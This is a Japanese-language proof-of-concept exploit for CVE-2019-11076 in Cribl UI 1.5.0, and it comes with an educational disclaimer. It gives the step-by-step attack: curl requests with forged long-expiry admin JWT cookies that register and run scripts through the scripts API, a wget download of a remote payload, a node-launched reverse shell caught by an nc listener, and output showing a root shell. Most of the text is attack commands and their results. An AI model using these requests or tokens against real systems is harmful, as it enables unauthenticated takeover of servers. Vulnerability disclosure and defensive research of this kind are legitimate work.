
CVE-2019-11076 - Cribl UI 1.5.0 は、認証されていない Web リクエストを介してリモート攻撃者が任意のコマンドを実行することを可能にします。
これは情報提供および教育目的のみのものです。
本内容は、ツールのセキュリティ上の脆弱性を実証し、ベンダーによる修正を確認するために作成されました。
Cribl v1.5.0 でテスト済み。以前のバージョンは未テストですが、脆弱である可能性があります。
有効なJWTトークンを別のCriblインスタンスのセッションに転送・注入することで、ユーザーに不正アクセスを許可する可能性があります。
さらに、JWT/セッションの生成に使用される暗号鍵を用いると、任意のユーザー名に対して有効で、有効期限を延長したセッションを作成できます。
これと、Cribl内でスクリプトを実行できる機能を組み合わせることで、リモート攻撃者がCriblインスタンス上で悪意のあるコードを実行し、さらに制御を奪うことが可能になります。
以下にその例を示します。スクリプトページと有効期限の長いJWTトークンを使用して、リバースシェルを作成することができました。
Docker(Alpine)を使用してテスト。
まず、(リモートホスト名)を修正し、shell.js を Web サーバーにアップロードします。このファイルには、あなたの Web サイトへのリバースシェルを作成する NodeJS コードが含まれています。
サーバーは、あなたのリモートホスト/ポートへのアウトバウンドネットワークアクセスを持っている必要があります。
次に、リモートホスト上で shell.js に合致するポートでリスナーを設定します。
nc -lvp 6669
以下の curl コマンドをあなたのリモートファイルに合わせて調整してください。
CURL コマンドを順番に実行してください。出力は以下のインデントとおおよそ一致するはずです。
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...